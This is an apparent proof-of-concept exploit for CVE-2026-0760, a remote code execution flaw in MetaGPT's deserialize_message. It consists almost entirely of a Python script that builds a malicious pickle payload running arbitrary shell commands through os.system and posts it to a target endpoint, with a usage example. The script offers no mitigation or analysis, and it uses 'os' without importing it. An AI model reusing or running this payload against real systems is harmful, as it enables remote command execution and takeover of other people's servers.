CVE-2026-0760 MetaGPT deserialize_message 反序列化远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-0760 PoC - MetaGPT deserialize_message RCE # This PoC demonstrates the deserialization vulnerability in MetaGPT import pickle import base64 import requests import sys class RCEPayload: """ Malicious payload that executes arbitrary commands via unsafe deserialization """ def __reduce__(self): # Replace 'whoami' with any command you want to execute cmd = "whoami" return (os.system, (cmd,)) def generate_payload(command): """Generate malicious serialized payload""" payload = RCEPayload() # The RCEPayload class will execute the command during deserialization serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode() def exploit(target_url, command): """ Send exploit to target target_url: URL of the deserialize_message endpoint command: Command to execute on target """ payload = generate_payload(command) # Construct the request exploit_data = { "data": payload, "format": "pickle" } try: response = requests.post(target_url, json=exploit_data, timeout=10) print(f"[+] Payload sent successfully") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://target.com/api/deserialize 'id > /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd) # Note: This PoC requires the 'requests' library: pip install requests